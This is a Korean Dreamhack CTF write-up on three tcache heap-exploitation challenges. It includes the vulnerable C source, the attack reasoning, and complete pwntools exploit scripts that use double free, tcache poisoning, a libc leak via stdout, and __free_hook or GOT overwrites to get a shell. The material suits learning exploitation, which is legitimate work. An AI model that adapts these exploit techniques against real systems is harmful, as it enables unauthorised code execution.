[dreamhack] tcache poison

[dreamhack] tcache poison

2024년 7월 15일

tcache poison #

정보수집 #

canary나 PIE가 적용되어 있지 않다.
PIE가 적용되어 있지 않기 때문에 오프셋을 구하면 끝난다.

241591cd-2116-4cbb-9746-acac54278504

소스코드를 확인해보면 그냥 원하는대로 메모리를 할당하고, 읽고, 쓰고, 해제하는 기능이 있다. 이것만으로 쉘을 실행시켜야한다.

 1// Name: tcache_poison.c
 2// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
 3
 4#include <stdio.h>
 5#include <stdlib.h>
 6#include <unistd.h>
 7
 8int main() {
 9  void *chunk = NULL;
10  unsigned int size;
11  int idx;
12
13  setvbuf(stdin, 0, 2, 0);
14  setvbuf(stdout, 0, 2, 0);
15
16  while (1) {
17    printf("1. Allocate\n");
18    printf("2. Free\n");
19    printf("3. Print\n");
20    printf("4. Edit\n");
21    scanf("%d", &idx);
22
23    switch (idx) {
24      case 1:
25        printf("Size: ");
26        scanf("%d", &size);
27        chunk = malloc(size);
28        printf("Content: ");
29        read(0, chunk, size - 1);
30        break;
31      case 2:
32        free(chunk);
33        break;
34      case 3:
35        printf("Content: %s", chunk);
36        break;
37      case 4:
38        printf("Edit chunk: ");
39        read(0, chunk, size - 1);
40        break;
41      default:
42        break;
43    }
44  }
45  
46  return 0;
47}

공격 #

nx가 설정되어 있기 때문에 힙에 쉘코드를 올리는 것도 어렵고, stack overflow가 없고 full RELRO이기 때문에 리턴값을 변경하거나 got를 변조하는것은 어렵다.

결국 변조해야되는 대상은 hook을 변조해야 하고, one_gadget을 사용해서 쉘을 획득하는 것이 좋아보인다. 그러려면 먼저 libc의 베이스 주소를 먼저 알아와야 한다.

  1. libc 주소 알아오기
    • printf를 한번 사용한 후 got에서 가져오고 오프셋으로 계산하면 될것이다. (이미 처음 입력받는 그 시점에도 got는 변경되어있다)
  2. tcache의 free list에 printf의 got를 강제 삽입
    • malloc으로 0x20byte 할당
    • free 해서 tcache로 보내기
    • edit 해서 free된 청크의 key 변경
    • free 해서 더블프리 상태 만들기
    • 재할당해서 변조 가능한 상태로 변경
    • LIFO 구조인데, 마지막에 들어온 청크가 맨앞에 연결되기 때문에 next에 printf의 got를 넣고 재할당하면 기존에 double free된 청크가 할당돼서 한번 더 재할당해야한다.
    • print 해서 값을 읽어온다.
    • 이 문제에서는 할당과 쓰기를 동시에 하기 때문에 got값을 사용할 수 없다.
  3. got 대신 stdout을 사용하면 된다. 라이브러리마다 다르지만, stdout도 _IO_2_1_stdout_ 를 가리키는 포인터이다.
    • 라이브러리상의 stdout 들의 오프셋 8c8791a5-8b09-4048-85ec-b769406c004e
    • 런타임 중 확인해보면 stdout에 libc::stdout 이 아닌 libc::_IO_2_1_stdout_ 이 저장되어 있는것을 알 수 있다. 162cd7fb-bedf-41d2-8ce2-65f714661ff4
  4. 가져온 베이스로 변조할 타겟주소, 원가젯 주소를 알아온다
  5. 다른 사이즈로 다시 double free를 일으켜서 새로운 tcache를 poisoning한다.
    • 목표는 변조할 타겟 주소에 원가젯 주소를 쓰는것이며, 훅을 사용한다.
  6. free hook을 이용해서 원가젯 코드를 트리거한다.

공격코드 #

 1from pwn import *
 2
 3p = process('./tcache_poison', env={"LD_PRELOAD" : "./libc-2.27.so"})
 4p = remote('host3.dreamhack.games', 18986)
 5e = ELF('./tcache_poison')
 6le = ELF('./libc-2.27.so')
 7
 8
 9def alloc(size, data):
10    p.sendlineafter(b'Edit\n', b'1')
11    p.sendlineafter(b':', str(size).encode())
12    p.sendafter(b':', data)
13
14def free():
15    p.sendlineafter(b'Edit\n', b'2')
16
17def print_chunk():
18    p.sendlineafter(b'Edit\n', b'3')
19
20def edit(data):
21    p.sendlineafter(b'Edit\n', b'4')
22    p.sendafter(b':', data)
23
24stdout_io_off = le.symbols['_IO_2_1_stdout_']
25stdout_addr = e.symbols['stdout']
26
27# 1. double free
28alloc(0x30, b'data')
29free()
30edit(b'AAAABBBB\x00')
31free()
32
33# 2. 재할당 하면서 stdout의 주소를 데이터 영역에 쓰면 tcache에 남아있는 chunk에 stdout이 next에 쓰여진다.
34alloc(0x30, p64(stdout_addr))
35edit(p64(stdout_addr))
36print_chunk()
37print(p.recvuntil('Content: '))
38tmp_saddr = u64(p.recv(6).ljust(8,b'\x00'))
39print('chunk_stdout', hex(tmp_saddr))
40
41# 늦게들어온 청크가 맨 앞에 붙는 구조이며 LIFO이기 때문에 맨 앞에서부터 재할당 된다.
42alloc(0x30, b'DUMMYCNK')
43
44# 이때 재할당을 한번 더 하면 stdout을 chunk로 하는 값을 가져오게 된다. 그 안에는 _IO_2_1_stdout_이 있다.
45alloc(0x30, p64(stdout_io_off)[0:1])
46
47print_chunk()
48print(p.recvuntil('Content: '))
49tmp_saddr = u64(p.recv(6).ljust(8, b'\x00'))
50print('chunk_stdout', hex(tmp_saddr))
51
52# 3. 공격에 사용되는 주소 계산
53lib_base = tmp_saddr - stdout_io_off
54freehook_addr = lib_base + le.symbols['__free_hook']
55onegadget_addr = lib_base + 0x4f432
56
57# 4. 새로운 tcache에 double free
58alloc(0x40, b'data')
59free()
60edit(b'AAAABBBB\x00')
61free()
62
63# 5. freehook에 onegadget 주소 쓰기.
64# 5-1. freehook을 컨트롤 할 수 있도록 청크의 next 변조
65alloc(0x40, p64(freehook_addr))
66
67# 5-2. freehook 주소 청크화. 더미 이후 두번째 할당된 chunk가 freehook의 주소를 가리킨다.
68alloc(0x40, b'DUMMYCNK')
69alloc(0x40, b'freehook')
70
71# 5-3. freehook에 onegadget의 주소를 쓰고 훅 실행
72edit(p64(onegadget_addr))
73free()
74
75p.interactive()

tcache_dup #

이 문제는 Partial RELRO, No PIE이기 때문에 got를 사용할 수 있어서 더 쉽다.
하지만 got를 이 공격에 사용할 때 청크가 다른 값들을 수정할 수 있기 때문에 주의해야한다.

 1from pwn import *
 2
 3
 4p = process('./tcache_dup', env={'LD_PRELOAD': './libc-2.27.so'})
 5p = remote('host3.dreamhack.games', 20080)
 6
 7e = ELF('./tcache_dup')
 8el = ELF('./libc-2.27.so')
 9
10def input_n(num):
11    print("=== input : select", num, "===")
12    p.recvuntil(b'\n> ')
13    p.sendline(str(num).encode())
14
15def create(size, data):
16    input_n(1)
17    print("=== create: size", size, "data", data, "===")
18    p.recvuntil(b'Size: ')
19    p.sendline(str(size).encode())
20    p.recvuntil(b'Data: ')
21    p.sendline(data)
22
23def delete(idx):
24    input_n(2)
25    print("=== delete: idx", idx, "===")
26    p.recvuntil(b'idx: ')
27    p.sendline(str(idx).encode())
28
29get_shell_addr = e.symbols['get_shell']
30
31printf_got = e.got['printf']
32printf_off = el.symbols['printf']
33
34
35# 공격을 어떻게 해야할까?
36# 원하는 위치에 원하는 값을 넣어야한다.
37# 타겟 주소: NO PIE, Partial RELRO 이므로, printf의 got를 사용
38# 1. tcache_dup 를 발생시켜서 원하는 주소를 할당
39# 2.28 부터 tcache의 double free가 방지되기 시작했기 때문에 지금은 그냥 double free가 됨
40create(0x30, b'data')
41delete(0)
42delete(0)
43
44create(0x30, p64(printf_got))
45create(0x30, b'dummy')
46
47# 2. printf_got에 get_shell 주소 넣음
48create(0x30, p64(get_shell_addr))
49
50# 3. 공격 성공
51p.interactive()

tcache_dup2 #

이 문제는 이상하게 dup를 만들지 않으면 공격에 실패한다. 이유를 파악하면 좋을듯

from pwn import *


p = remote('host3.dreamhack.games',23990)
e = ELF('./tcache_dup2')
el = ELF('./libc-2.30.so')


def input_n(num):
    print("=== input : select", num, "===")
    p.recvuntil(b'\n> ')
    p.sendline(str(num).encode())

def create(size, data):
    input_n(1)
    print("=== create: size", size, "data", data, "===")
    print(p.recvuntil(b'Size: '))
    p.sendline(str(size).encode())
    p.recvuntil(b'Data: ')
    p.send(data)
    print("=== END ===")

def modify(idx, size, data):
    input_n(2)
    print("=== modify: idx", idx, "size", size, "data", data, "===")
    print(p.recvuntil(b'idx: '))
    p.sendline(str(idx).encode())
    p.recvuntil(b'Size: ')
    p.sendline(str(size).encode())
    p.recvuntil(b'Data: ')
    p.send(data)
    print("=== END ===")

def delete(idx):
    input_n(3)
    print("=== delete: idx", idx, "===")
    print(p.recvuntil(b'idx: '))
    p.sendline(str(idx).encode())
    print("=== END ===")


get_shell_addr = e.symbols['get_shell']

printf_got = e.got['puts']

create(0x10, b'D'*0x8)
delete(0)
modify(0, 0x10, b'AAAABBBB' + b'\x00')
delete(0)

# 중복된 청크의 next에 씀. 첫번째 청크에 썼기 때문에 dup된 청크는 날아간다.
modify(0, 0x10, p64(printf_got))
# dummy 할당
create(0x10, b'D'*0x8)
# printf_got 를 가져오면서 get_shell_addr을 씀
create(0x10, p64(get_shell_addr))

p.interactive()
comments powered by Disqus